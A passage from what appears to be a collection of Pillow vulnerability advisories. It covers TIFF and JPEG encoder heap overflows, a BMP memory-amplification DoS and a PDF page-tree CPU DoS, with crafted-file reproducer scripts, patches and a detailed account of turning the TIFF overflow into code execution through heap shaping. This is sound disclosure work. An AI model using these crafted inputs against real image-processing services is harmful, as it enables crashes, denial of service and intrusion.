126-byte IFD (10 entries) = tag data area write size=65536 at loc=65662 (eof=65536 size=65536) ImageDescription, first out-of-line value ``` For that last call `to_write = 65536 \u2212 65662 = \u2212126`, the loop grows `newsize` until it is \u2265 `65536 + 65536`, i.e. to 131072, and the `memcpy` writes `[65662, 131198)` into a 131072-byte block: 126 bytes past the end, containing the last 126 bytes of the description string. `loc`/`eof` become 131198 > `size`; `ImagingLibTiffEncode` later sets `size = eof` (`:1067`) and copies `[0, eof)` out of the same block (`:1073`), reading past it as well. The general condition is: at directory-write time the strip data ends within *IFD-size* bytes of the current allocation boundary, and the first out-of-line tag value has a length just below a multiple of 64 KiB. The overrun length is `IFD size + pad \u2212 slack`, so it grows by 12 bytes per additional tag. For single-band images (L, P, 1, I;16, F\u2026) `BitsPerSample` is stored inline and the first out-of-line value in tag order is `DocumentName` (269) or `ImageDescription` (270) \u2014 both free-length ASCII strings taken from the source file. Pillow re-encodes the pixels itself, but with PackBits the compressed size is a deterministic function of attacker-chosen pixel rows (the reproducer uses rows of 7 distinct bytes \u2192 8 bytes per row \u2192 exactly 65536 bytes including the 8-byte header), so the attacker controls both quantities. For multi-band images the 6-byte `BitsPerSample` array is written first and absorbs the growth, which is why RGB sources do not hit the overflow. The disclosure half is the benign version of the same sequence. In the LZW/RGB trace the strip data ends at the odd offset 369177; libtiff places the IFD at 369178 and the tag values from 369364 on, and after each odd-length value seeks one byte forward before the next write (`seek off=369418 (loc=369417)`, `write size=5 at loc=369418`, \u2026). Offsets 369177, 369417, 369423 and 369451 are therefore never written. They lie in the part of the buffer obtained by the `realloc()` calls at `:103` (the block grew 65536 \u2192 196608 \u2192 327680 \u2192 458752 during the strip writes), which is not cleared, so the emitted file carries the previous heap contents at those positions. Holes that fall inside the initial 64 KiB are zero only because that block is `calloc`'d. The defect was introduced in e782fe721e01 (\"initial merge of wiredfool/Python-Imaging-Library-G4-Tiff-Support\", 2013-03-08), first released in Pillow 2.0.0. ## Impact Any service that accepts an image and produces a TIFF rendition into a non-file object \u2014 the usual pattern for returning or uploading the result without touching disk \u2014 is exposed to whoever supplies the image, with no non-default Pillow setting involved. The overflow additionally requires that an attacker-controlled out-of-line tag value reaches libtiff: the uploaded ImageDescription/DocumentName/XMP when the application saves the opened TIFF itself (or copies its tags into the save), or the embedded ICC profile, which survives `convert()`/`resize()`/`thumbnail()`/`copy()` in `im.info` together with the compression. Under those conditions, with a crafted single-band TIFF the uploader gets a heap out-of-bounds write in the worker process of IFD-size bytes (12 bytes per directory entry the upload carries \u2014 126 bytes with the minimal reproducer, 2384 bytes with a 331-entry IFD) immediately past a 128 KiB-class `realloc` block, with the overwritten bytes being the tail of a tag value they chose; on the stock build the minimal reproducer is detected by glibc and kills the process (`SIGABRT`). Given two addresses leaked by a separate bug, this write has been turned into code execution against a stock build of this commit with ASLR/PIE/NX enabled and default settings (that proof-of-concept is not included with this report): a single-process stdlib `http.server` worker doing nothing but `Image.open(BytesIO(body)).save(BytesIO(), \"TIFF\")` per upload executed an attacker-chosen shell command (`id>/tmp/r.XXXXXX`), answered `200` and kept serving (12/12 against a freshly started worker, 2/6 after twenty unrelated uploads; a miss normally leaves the worker running and is retryable). The two addresses (`&system`, `&PyBytes_Type`) were taken from an unrelated information disclosure in the same process; everything else is this bug plus properties of Pillow's TIFF reader used as a heap-shaping script. The 4.7 MB attack TIFF is a 397\u00d7165 8-bit PackBits image whose rows re-encode to exactly 65 528 bytes (strip ends at sink offset 65 536), a 63 942-byte XMP packet (tag 700) as the first out-of-line value, and ~500 private IFD entries. Because `TiffImagePlugin` turns every IFD entry into one `bytes` object in IFD order, frees an earlier entry when a later one repeats its tag number, and parses the IFD three times per request (`TiffImagePlugin.py:1258`, `:1271`, and `getexif()` from `load_end()` at `:1331`), those entries drain glibc's free lists, punch exact-size holes for every large allocation the save makes, and arrange that the 128 KiB `realloc` of the sink lands directly below a live 0x540 chunk followed by libtiff's own `TIFF` handle (`malloc(1313)` from `TIFFClientOpen`). The 2384 overflowing bytes rewrite the start of the `TIFF` struct with the command string, a zeroed `tif_dir`, `tif_diroff = 65536`, and `tif_cleanup = system` at +0x3f8; libtiff resumes `TIFFWriteDirectorySec` on the modified handle and calls `(*tif->tif_cleanup)(tif)`. With gdb on `__libc_system` the call arrives as `__libc_system(\"id>/tmp/r.\u2026\") \u2190 libtiff.so.6 \u2190 TIFFFlush \u2190 ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1056) \u2190 _encode (src/encode.c:139)`. Offsets are per-binary constants (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, this `_imaging.so`), all obtainable from public distribution files. Independently, every compressed TIFF written to such a target that exceeds 64 KiB discloses one byte of stale heap per alignment hole (one per odd-length tag value plus possibly one before the IFD; the count is set by the tags in the uploaded file) at predictable offsets in the returned file \u2014 low bandwidth, but it is other requests' freed data. File-path and real-fd targets (`TIFFFdOpen`) are unaffected by either issue. The primitive is the same class and attacker position as the `TiffDecode.c` decode-side heap overflows CVE-2020-35654, CVE-2021-25289 and CVE-2020-10379, but on the encode path and behind the output-to-a-non-file and tag-passthrough preconditions above, with code execution additionally depending on an address leak from another bug. ## Reproducing `repro` is a single Python script that uses the installed Pillow, writes its inputs into a temporary directory. It has two parts. Each part compares saving to a file path, which goes through `TIFFFdOpen` and is correct, with the same save into an `io.BytesIO`, which goes through the `_tiffWriteProc` memory sink. **Part 1: heap overflow.** `setup_env()` builds `upload.tif` (131 198 bytes) byte by byte: a mode L, 7\u00d78191 image with `Compression=32773` (PackBits) and a 65 535-character `ImageDescription`. The sizes are picked so that when Pillow re-encodes the pixels, the strip comes to 8 + 8191 \u00d7 8 = 65 536 bytes and ends exactly at the sink's initial 64 KiB buffer. libtiff then seeks past the 126-byte IFD and writes the 65 536-byte description at offset 65 662. The sink grows only to 131 072 bytes, so the last 126 bytes of the description are written past the end of the heap block. In a fresh child process, the script runs `Image.open(\"upload.tif\").save(, \"TIFF\")` with no options, once with `\"out.tif\"` as the target and once with `io.BytesIO()`. The file save exits with 0. The BytesIO save is killed by SIGABRT, with glibc reporting `malloc(): corrupted top size`. **Part 2: stale heap bytes in the output.** A child started with `MALLOC_PERTURB_=170` (glibc fills fresh allocations with 0x55) saves a seeded-noise 300\u00d7300 RGB image with `compression=\"tiff_lzw\"` and four odd-length ASCII tags. It saves once to a file and once to a BytesIO, then prints every offset where the two outputs differ. libtiff skips one pad byte before the IFD and one after each odd-length tag value. The file has 0x00 at those offsets, but the BytesIO output still holds the 0x55 that was in uninitialised `realloc()` memory. Expected output on this tree: ``` upload.tif: 131198 bytes save to file path : exit code 0, out.tif = 131210 bytes save to BytesIO : exit code -6, stderr: 'malloc(): corrupted top size' -> heap overflow crashed the process: True same image, same options, saved to a file path vs. to a BytesIO: offset 369177: file 0x00 BytesIO 0x55 offset 369417: file 0x00 BytesIO 0x55 offset 369423: file 0x00 BytesIO 0x55 offset 369451: file 0x00 BytesIO 0x55 -> BytesIO output contains never-written heap bytes: True BUG ``` The last line is `BUG` if either part shows its defect, and `OK` otherwise. With the attached patch applied and rebuilt, the BytesIO save exits with 0, the two outputs are identical, and the script prints `OK`. ## Suggested fix The attached patch makes `_tiffWriteProc` in `src/libImaging/TiffDecode.c` honour sparse-file semantics: it sizes the buffer from the write position, and zeroes what `realloc()` adds (the initial block is already `calloc`'d, so every byte libtiff skips then reads as 0, exactly as through `TIFFFdOpen`). For the non-reallocating case (`flrealloc == 0`), where `loc > size` would also make `to_write` negative, it rejects the write with a `TIFFError`, the same idiom `_tiffReadProc` uses: ```diff - while (newsize < (size + state->size)) { + while (newsize < (size + (tsize_t)state->loc)) { \u2026 + memset((UINT8 *)new_data + state->size, 0, newsize - state->size); state->data = new_data; state->size = newsize; to_write = size; + } else if (to_write < 0) { + TIFFError(\"_tiffWriteProc\", \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64, \u2026); + return 0; } ``` `_tiffSeekProc` is left unconstrained, since libtiff legitimately seeks past the end of data; with the write proc fixed, `eof` can no longer exceed `size`, so the read-out in `ImagingLibTiffEncode` (`:1067`, `:1073`) stays within the block. The patch also adds `test_save_bytesio_seek_past_end` to `Tests/test_file_libtiff.py`, which saves the PackBits 64 KiB-boundary case and an LZW case with odd-length tags to both a file and a `BytesIO` and asserts the outputs are identical. With the patch applied and rebuilt, the BytesIO output is byte-identical to the file output, no AddressSanitizer report is produced for tag lengths 65410/65535/131071/196607, the code-execution chain described under Impact no longer runs its command, and the existing TIFF tests pass. ## The patch Size the libtiff in-memory write buffer from the write position, not its current size, and zero the space added by realloc in _tiffWriteProc Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..d2a926a62 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase): save_bytesio(\"packbits\") save_bytesio(\"tiff_lzw\") + def test_save_bytesio_seek_past_end(self, tmp_path: Path) -> None: + # When writing the directory, libtiff seeks past the end of the data + # written so far, and then writes the tag values there. Check that the + # in-memory write buffer grows to fit, and that the bytes that are + # skipped over are zero, as they would be when writing to a file. + + # 7 distinct bytes per row: PackBits emits 8 bytes per row, so the strip + # plus the header are exactly 64 KiB, the initial size of the buffer + im = Image.new(\"L\", (7, 8191)) + im.putdata([(i * 37) & 0xFF for i in range(7 * 8191)]) + kwargs = {\"compression\": \"packbits\", \"description\": \"D\" * 65535} + + outfile = tmp_path / \"temp.tif\" + im.save(outfile, **kwargs) + buffer_io = io.BytesIO() + im.save(buffer_io, format=\"tiff\", **kwargs) + assert buffer_io.getvalue() == outfile.read_bytes() + + # odd-length tag values, so that libtiff pads between them. Large enough + # that the buffer has to be reallocated + im = hopper().resize((300, 300)) + kwargs = { + \"compression\": \"tiff_lzw\", + \"description\": \"abcdef\", + \"software\": \"xyz0\", + \"tiffinfo\": {315: \"artist\", 33432: \"copyright!\"}, + } + im.save(outfile, **kwargs) + buffer_io = io.BytesIO() + im.save(buffer_io, format=\"tiff\", **kwargs) + assert buffer_io.getvalue() == outfile.read_bytes() + def test_save_ycbcr(self, tmp_path: Path) -> None: im = hopper(\"YCbCr\") outfile = tmp_path / \"temp.tif\" diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..dd9945493 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -87,11 +87,13 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) { TRACE((\"_tiffWriteProc: %d \\n\", (int)size)); dump_state(state); + // libtiff may have seeked past the end of the buffer, e.g. when writing the + // directory, so the required size is based on the current location. to_write = MIN(size, state->size - (tsize_t)state->loc); if (state->flrealloc && size > to_write) { tdata_t new_data; tsize_t newsize = state->size; - while (newsize < (size + state->size)) { + while (newsize < (size + (tsize_t)state->loc)) { if (newsize > INT_MAX - 64 * 1024) { return 0; } @@ -105,9 +107,20 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) { // fail out return 0; } + // zero the new space, so that any bytes libtiff seeks over without + // writing are 0 in the output, as they would be in a file + memset((UINT8 *)new_data + state->size, 0, newsize - state->size); state->data = new_data; state->size = newsize; to_write = size; + } else if (to_write < 0) { + TIFFError( + \"_tiffWriteProc\", + \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64, + state->loc, + (toff_t)state->size + ); + return 0; } TRACE((\"to_write: %d\\n\", (int)to_write)); ``` ## The reproducer
Reproducer \u2014 repro, 5,434 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\" Pillow: heap overflow + stale heap bytes in the libtiff in-memory write sink (_tiffWriteProc, src/libImaging/TiffDecode.c). im.save(, \"TIFF\") with any compression goes through libtiff writing into Pillow's memory sink. When libtiff writes the directory it seeks *past* the end of the data written so far and writes tag values there: 1. _tiffWriteProc grows the buffer to `size + write_len` instead of `loc + write_len`, so that write can run off the end of the allocation. 2. The bytes libtiff skipped over are never written, so whatever the heap held there ends up in the output file. The same saves to a file path are fine (the kernel zero-fills skipped bytes), which is the control for both parts. \"\"\" import os import resource import struct import subprocess import sys import tempfile resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) # the overflow aborts; no core file os.chdir(tempfile.mkdtemp()) def run(code, **env): \"\"\"Run a Python snippet against the installed Pillow in a fresh process.\"\"\" return subprocess.run([sys.executable, \"-c\", code], env={**os.environ, **env}, capture_output=True, text=True) def setup_env(): \"\"\"Write upload.tif: an L-mode 7x8191 PackBits TIFF with a 65535-char ImageDescription. Sizes are chosen so that, when Pillow re-encodes it: - the PackBits strip is 8191 rows x 8 bytes + 8-byte header = 65536 bytes, i.e. the data ends exactly at the sink's initial 64 KiB buffer; - the first out-of-line tag value (ImageDescription + NUL) is 65536 bytes and goes at 65536 + 126 (the 10-entry IFD sits in between). The sink grows to 65536 + 65536 = 131072 bytes, then writes [65662, 131198): the last 126 bytes of the description land past the end of the heap block. \"\"\" w, h = 7, 8191 # 7 distinct bytes per row -> PackBits can only emit one literal run: 1 + 7 bytes strip = b\"\".join(b\"\\x06\" + bytes((y * 7 + x) * 37 & 0xFF for x in range(w)) for y in range(h)) desc = b\"D\" * 65535 + b\"\\x00\" strip_off, desc_off = 8, 8 + len(strip) ifd_off = desc_off + len(desc) entries = [ (256, 4, 1, w), # ImageWidth (257, 4, 1, h), # ImageLength (258, 3, 1, 8), # BitsPerSample (259, 3, 1, 32773), # Compression = PackBits (inherited by save()) (262, 3, 1, 1), # PhotometricInterpretation = BlackIsZero (270, 2, len(desc), desc_off), # ImageDescription (carried into save() via tag_v2) (273, 4, 1, strip_off), # StripOffsets (277, 3, 1, 1), # SamplesPerPixel (278, 4, 1, h), # RowsPerStrip (279, 4, 1, len(strip)), # StripByteCounts ] ifd = struct.pack(\" heap overflow crashed the process: {overflow}\\n\") # --------------------------------------------------------------------------- # Part 2: stale heap bytes in the output. MALLOC_PERTURB_=170 makes glibc fill # fresh allocations with 0x55, so never-written bytes become visible. # --------------------------------------------------------------------------- STALE = r''' import io, random from PIL import Image random.seed(1) im = Image.new(\"RGB\", (300, 300)) # noise -> ~360 KB LZW, so the sink must realloc() im.putdata([tuple(random.randrange(256) for _ in \"rgb\") for _ in range(300 * 300)]) # odd-length ASCII tags: libtiff skips one pad byte after each kw = dict(compression=\"tiff_lzw\", description=\"abcdef\", software=\"xyz0\", tiffinfo={315: \"artist\", 33432: \"copyright!\", 306: \"2024:01:01 00:00:00\"}) im.save(\"ref.tif\", \"TIFF\", **kw) buf = io.BytesIO() im.save(buf, \"TIFF\", **kw) a, b = open(\"ref.tif\", \"rb\").read(), buf.getvalue() for i in (i for i in range(len(a)) if a[i] != b[i]): print(f\" offset {i}: file 0x{a[i]:02x} BytesIO 0x{b[i]:02x}\") ''' stale = run(STALE, MALLOC_PERTURB_=\"170\").stdout print(\"same image, same options, saved to a file path vs. to a BytesIO:\") print(stale or \" outputs identical\") leak = \"BytesIO 0x55\" in stale print(f\"-> BytesIO output contains never-written heap bytes: {leak}\\n\") print(\"BUG\" if overflow or leak else \"OK\") ```
---"}, {"id": "CVE-2026-96638", "fix_versions": ["13.0.0"], "aliases": ["GHSA-24rc-8hj2-v98c"], "description": "## Summary BmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches. ## Affected versions All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84) ## Root cause BmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) < dest_length`. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by dest_length: - delta escape (line 370): data += b\"\\x00\" * (right + up * self.state.xsize) with right,up in 0..255 -> up to ~255*xsize bytes in ONE iteration. - absolute mode (line 385): data += bytes_read (up to 255). Because a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny. ## Reproduction Python 3.13, Pillow HEAD e7a7ea84 Attached: pillow_poc_bmp_rle_dos.py A 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file. ## Suggested fix Cap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343. Credit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew) [pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py)"}, {"id": "CVE-2026-96640", "fix_versions": ["13.0.0"], "aliases": ["GHSA-mrfp-p49p-3hf2"], "description": "### Summary Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree. An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references. In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds. This is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion. ### Details #### Affected versions - Package: `Pillow` - Ecosystem: `pip` / PyPI - Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling - Runtime-tested affected release: `12.3.0` - Runtime-tested affected development version: `13.0.0.dev0` - Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054` - Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81` - Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD` - Likely affected range: `>= 5.1.0` - Patched versions: none known Evidence fact strings: - Runtime-tested affected: 12.3.0 - Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa - Source-level affected: 5.1.0 - Source-level affected: 12.2.0 - Source-level affected: HEAD - Likely affected range: >= 5.1.0, no fixed version known - Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py `5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`. #### Technical details The reachable path is: 1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path: ```python Image.new(\"L\", (1, 1), 0).save(existing_pdf_file, format=\"PDF\", append=True) ``` 2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`: ```python is_appending = im.encoderinfo.get(\"append\", False) filename_str = filename.decode() if isinstance(filename, bytes) else filename if is_appending: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"r+b\") else: existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"w+b\") ``` 3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree: ```python self.page_tree_root = self.read_indirect(self.pages_ref) self.pages = self.linearize_page_tree(self.page_tree_root) self.orig_pages = self.pages[:] ``` 4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references: ```python def linearize_page_tree( self, node: PdfDict | None = None ) -> list[IndirectReference]: page_node = node if node is not None else self.page_tree_root check_format_condition( page_node[b\"Type\"] == b\"Pages\", \"/Type of page tree node is not /Pages\" ) pages = [] for kid in page_node[b\"Kids\"]: kid_object = self.read_indirect(kid) if kid_object[b\"Type\"] == b\"Page\": pages.append(kid) else: pages.extend(self.linearize_page_tree(node=kid_object)) return pages ``` 5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list. The missing invariant is: ```text The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages. ``` The proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees. ### PoC Environment used for validation: - OS/runtime: Linux, Python `3.13.11` - Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa` - Latest release tested: Pillow `12.3.0` - The proof uses only synthetic in-memory PDFs and does not contact the network. Save this as `poc_pillow_pdf_page_tree_dag.py`: ```python #!/usr/bin/env python3 from __future__ import annotations import io import json import sys import time from PIL import Image, PdfParser import PIL def make_page_tree_pdf(depth: int, fanout: int) -> bytes: if fanout not in (1, 2): raise ValueError(\"fanout must be 1 or 2\") objects: list[bytes] = [b\"<< /Type /Catalog /Pages 2 0 R >>\"] for object_id in range(2, depth + 3): next_id = object_id + 1 kids = b\" \".join(f\"{next_id} 0 R\".encode(\"ascii\") for _ in range(fanout)) parent = b\"\" if object_id == 2 else f\" /Parent {object_id - 1} 0 R\".encode() objects.append(b\"<< /Type /Pages /Kids [ \" + kids + b\" ]\" + parent + b\" >>\") objects.append(f\"<< /Type /Page /Parent {depth + 2} 0 R >>\".encode(\"ascii\")) result = bytearray(b\"%PDF-1.4\\n\") offsets = [0] for object_id, value in enumerate(objects, start=1): offsets.append(len(result)) result.extend(f\"{object_id} 0 obj\\n\".encode(\"ascii\")) result.extend(value) result.extend(b\"\\nendobj\\n\") xref_offset = len(result) result.extend(f\"xref\\n0 {len(objects) + 1}\\n\".encode(\"ascii\")) result.extend(b\"0000000000 65535 f \\n\") for offset in offsets[1:]: result.extend(f\"{offset:010d} 00000 n \\n\".encode(\"ascii\")) result.extend( f\"trailer\\n<< /Size {len(objects) + 1} /Root 1 0 R >>\\n\" f\"startxref\\n{xref_offset}\\n%%EOF\\n\".encode(\"ascii\") ) return bytes(result) def run_case(depth: int, fanout: int) -> dict[str, object]: payload = make_page_tree_pdf(depth, fanout) expected_refs = fanout ** (depth + 1) start = time.monotonic() with PdfParser.PdfParser(buf=payload) as pdf: observed_refs = len(pdf.pages) distinct_refs = len(set(pdf.pages)) parse_seconds = time.monotonic() - start output = io.BytesIO(payload) start = time.monotonic() Image.new(\"L\", (1, 1), 0).save(output, format=\"PDF\", append=True) append_seconds = time.monotonic() - start return { \"fanout\": fanout, \"depth\": depth, \"input_bytes\": len(payload), \"expected_refs\": expected_refs, \"observed_refs\": observed_refs, \"distinct_refs\": distinct_refs, \"parse_seconds\": round(parse_seconds, 6), \"append_seconds\": round(append_seconds, 6), \"output_bytes_after_append\": len(output.getvalue()), } def main() -> int: depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12 if not 0 <= depth <= 16: raise SystemExit(\"depth must be between 0 and 16\") linear = run_case(depth, fanout=1) shared_dag = run_case(depth, fanout=2) checks = { \"linear_control_stays_one_page\": linear[\"observed_refs\"] == 1, \"candidate_expands_to_expected_duplicate_refs\": shared_dag[\"observed_refs\"] == shared_dag[\"expected_refs\"], \"candidate_has_one_distinct_page_ref\": shared_dag[\"distinct_refs\"] == 1, \"candidate_input_is_compact\": shared_dag[\"input_bytes\"] <= 2048, \"append_path_processed_both_inputs\": linear[\"output_bytes_after_append\"] > linear[\"input_bytes\"] and shared_dag[\"output_bytes_after_append\"] > shared_dag[\"input_bytes\"], } result = { \"pillow_version\": PIL.__version__, \"pillow_file\": PIL.__file__, \"depth\": depth, \"linear_control\": linear, \"shared_dag_candidate\": shared_dag, \"checks\": checks, \"overall_passed\": all(checks.values()), } print(json.dumps(result, indent=2, sort_keys=True)) return 0 if result[\"overall_passed\"] else 1 if __name__ == \"__main__\": raise SystemExit(main()) ``` Run: ```bash python3 poc_pillow_pdf_page_tree_dag.py ``` Expected result: ```text \"overall_passed\": true \"linear_control\": observed_refs == 1 \"shared_dag_candidate\": input_bytes == 1410 \"shared_dag_candidate\": observed_refs == 8192 \"shared_dag_candidate\": distinct_refs == 1 ``` Observed on current `main` / `13.0.0.dev0`: ```text 1410-byte input -> 8192 observed page refs -> 9.563007s append ``` Observed on Pillow `12.3.0`: ```text Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append ``` For comparison, the linear control in the same harness uses a comparable-depth page tree with `fanout=1`; it produces one page reference and completed append in about `0.016` to `0.028` seconds in my validation runs. ### Impact This is an availability issue in Pillow's PDF append handling. Applications are impacted if untrusted users can supply an existing PDF that the application later appends to, watermarks, or exports using Pillow's `Image.save(..., format=\"PDF\", append=True)` route. The demonstrated primitive is deterministic CPU/resource amplification from compact attacker-controlled PDF bytes. The proof does not demonstrate confidentiality impact, integrity impact, memory corruption, filesystem access, network access, or impact through ordinary `Image.open()`. Requires attacker-influenced existing PDF processed by Pillow's documented PDF append path; not ordinary Image.open(). This should not be treated as just an unexpected Python exception. In the tested affected builds, the malformed PDF is accepted and processed to normal completion after the expensive expansion. ### Remediation Reject duplicate and cyclic page-tree references before constructing `self.pages` and `self.orig_pages`. One possible fix is to pass traversal state through `linearize_page_tree()`: - Track active `/Pages` references to reject cycles. - Track seen page-tree and page indirect references to reject duplicate references. - Raise `PdfFormatError` when the page tree is not an acyclic tree of unique indirect references. Suggested regression tests: - A small PDF whose `/Kids` array repeats the same child `/Pages` reference should raise `PdfFormatError` quickly when used through `Image.save(..., format=\"PDF\", append=True)`. - A normal nested linear page tree should continue to append successfully."}, {"id": "CVE-2026-96778", "fix_versions": ["13.0.0"], "aliases": ["GHSA-g7cr-3p24-7wf7"], "description": "``` ============================================================================ Heap buffer overflow writing JPEG comment after ICC profile fills buffer Location: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash. The bug is in `ImagingJpegEncode()` in `src/libImaging/JpegEncode.c`. State 4 (line 330) calls `jpeg_write_marker()` for the COM comment marker without checking that the output buffer has room. Meanwhile, `JpegImagePlugin._save()` sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's `emit_byte()` stores one byte past the end and then decrements `free_in_buffer` from 0. The `size_t` counter wraps, so the marker, the comment and the entire compressed image are written out of bounds. Triggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through `Image.open()` and then `im.save(..., \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))`. That is the documented way to preserve colour. The comment is forwarded from `im.info` automatically, and no non-default setting is involved. The attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation. The unguarded call was introduced in e50ae85ea406 (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0. ## Details `ImagingJpegEncode()` (`src/libImaging/JpegEncode.c`) is a resumable state machine that fills a caller-supplied output buffer of `bytes` bytes and returns when it is full. State 4 writes the JPEG COM marker with `jpeg_write_marker()` without first checking that the buffer has any room left. When the preceding state 3 \u2014 the verbatim copy of the \"extra\" APP segments (ICC profile / XMP) \u2014 ends exactly at the last byte of the buffer, `jpeg_write_marker()` is entered with `free_in_buffer == 0`. libjpeg's `emit_byte()` stores the byte first and tests `--free_in_buffer == 0` afterwards, so the `size_t` counter wraps to 2^64-1 instead of triggering the \"buffer full\" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in `src/encode.c`. A JPEG laid out as ``` FFD8 SOI FFE2 \"ICC_PROFILE\\0\" 01 01 <65498 bytes> -> im.info[\"icc_profile\"] FFFE -> im.info[\"comment\"] ``` opened with `Image.open()` and re-saved with the usual colour-profile-preserving call ```python im.save(out, \"JPEG\", icc_profile=im.info.get(\"icc_profile\")) ``` kills the Python process on the stock build at this commit: glibc aborts with `realloc(): invalid next size` / `corrupted size vs. prev_size`, or the process takes SIGSEGV inside `jpeg_write_marker`/`jpeg_write_scanlines`. Stopping at `JpegEncode.c:330` in gdb shows `next_output_byte - buf == 65536`, `free_in_buffer == 0`, `comment_size == 65533` before the call, and `next_output_byte - buf == 131073`, `free_in_buffer == 18446744073709486079` after it \u2014 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores 